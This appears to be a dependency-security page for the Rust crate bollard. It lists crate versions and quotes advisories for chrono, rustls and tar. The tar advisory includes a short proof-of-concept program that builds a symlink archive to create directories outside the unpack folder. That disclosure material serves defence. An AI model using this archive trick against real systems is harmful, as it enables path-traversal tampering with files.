This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.
bollard(42 total, 2 possibly insecure)
| Crate | Required | Latest | Status |
|---|---|---|---|
| async-stream | ^0.3.5 | 0.3.6 | up to date |
| base64 | ^0.22 | 0.22.1 | up to date |
| bitflags | ^2.6.0 | 2.9.1 | up to date |
| bollard-buildkit-proto | ^0.6.1 | 0.6.1 | up to date |
| bollard-stubs | =1.48.3-rc.28.0.4 | 1.41.0 | up to date |
| bytes | ^1 | 1.10.1 | up to date |
| chrono ⚠️ | ^0.4 | 0.4.41 | maybe insecure |
| futures-core | ^0.3 | 0.3.31 | up to date |
| futures-util | ^0.3 | 0.3.31 | up to date |
| hex | ^0.4 | 0.4.3 | up to date |
| home | ^0.5 | 0.5.11 | up to date |
| http | ^1.1 | 1.3.1 | up to date |
| http-body-util | ^0.1 | 0.1.3 | up to date |
| hyper | ^1.3 | 1.6.0 | up to date |
| hyper-named-pipe | ^0.1.0 | 0.1.0 | up to date |
| hyper-rustls | ^0.27 | 0.27.7 | up to date |
| hyper-util | ^0.1.5 | 0.1.14 | up to date |
| hyperlocal | ^0.9.0 | 0.9.1 | up to date |
| log | ^0.4 | 0.4.27 | up to date |
| num | ^0.4 | 0.4.3 | up to date |
| openssh | ^0.11.5 | 0.11.5 | up to date |
| pin-project-lite | ^0.2 | 0.2.16 | up to date |
| rand | ^0.9 | 0.9.1 | up to date |
| rustls ⚠️ | ^0.23 | 0.23.28 | maybe insecure |
| rustls-native-certs | ^0.8.0 | 0.8.1 | up to date |
| rustls-pemfile | ^2.1 | 2.2.0 | up to date |
| rustls-pki-types | ^1.7 | 1.12.0 | up to date |
| serde | ^1.0 | 1.0.219 | up to date |
| serde_derive | ^1.0 | 1.0.219 | up to date |
| serde_json | ^1.0 | 1.0.140 | up to date |
| serde_repr | ^0.1 | 0.1.20 | up to date |
| serde_urlencoded | ^0.7 | 0.7.1 | up to date |
| thiserror | ^2.0 | 2.0.12 | up to date |
| time | ^0.3 | 0.3.41 | up to date |
| tokio | ^1.38 | 1.45.1 | up to date |
| tokio-stream | ^0.1 | 0.1.17 | up to date |
| tokio-util | ^0.7 | 0.7.15 | up to date |
| tonic | ^0.13 | 0.13.1 | up to date |
| tower-service | ^0.3 | 0.3.3 | up to date |
| url | ^2.5 | 2.5.4 | up to date |
| webpki-roots | ^1.0 | 1.0.1 | up to date |
| winapi | ^0.3.9 | 0.3.9 | up to date |
(7 total, 1 possibly insecure)
| Crate | Required | Latest | Status |
|---|---|---|---|
| flate2 | ^1.0 | 1.1.2 | up to date |
| once_cell | ^1.19 | 1.21.3 | up to date |
| tar ⚠️ | ^0.4 | 0.4.44 | maybe insecure |
| termion | ^4.0 | 4.0.5 | up to date |
| tokio | ^1.38 | 1.45.1 | up to date |
| tokio-util | ^0.7 | 0.7.15 | up to date |
| yup-hyper-mock | ^8.0.0 | 8.0.0 | up to date |
chrono: Potential segfault in `localtime_r` invocationsUnix-like operating systems may segfault due to dereferencing a dangling pointer in specific circumstances. This requires an environment variable to be set in a different thread than the affected functions. This may occur without the user's knowledge, notably in a third-party library.
No workarounds are known.
tar: Links in archive can create arbitrary directoriesWhen unpacking a tarball that contains a symlink the tar crate may create
directories outside of the directory it's supposed to unpack into.
The function errors when it's trying to create a file, but the folders are already created at this point.
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};
fn main() -> Result<()> {
let mut buf = Vec::new();
{
let mut builder = Builder::new(&mut buf);
// symlink: parent -> ..
let mut header = Header::new_gnu();
header.set_path("symlink")?;
header.set_link_name("..")?;
header.set_entry_type(EntryType::Symlink);
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
// file: symlink/exploit/foo/bar
let mut header = Header::new_gnu();
header.set_path("symlink/exploit/foo/bar")?;
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
builder.finish()?;
};
Archive::new(&*buf).unpack("demo")
}
This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is
published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering
and reporting this, and Nikhil Benesch (@benesch) for the fix!
rustls: rustls network-reachable panic in `Acceptor::accept`A bug introduced in rustls 0.23.13 leads to a panic if the received
TLS ClientHello is fragmented. Only servers that use
rustls::server::Acceptor::accept() are affected.
Servers that use tokio-rustls's LazyConfigAcceptor API are affected.
Servers that use tokio-rustls's TlsAcceptor API are not affected.
Servers that use rustls-ffi's rustls_acceptor_accept API are affected.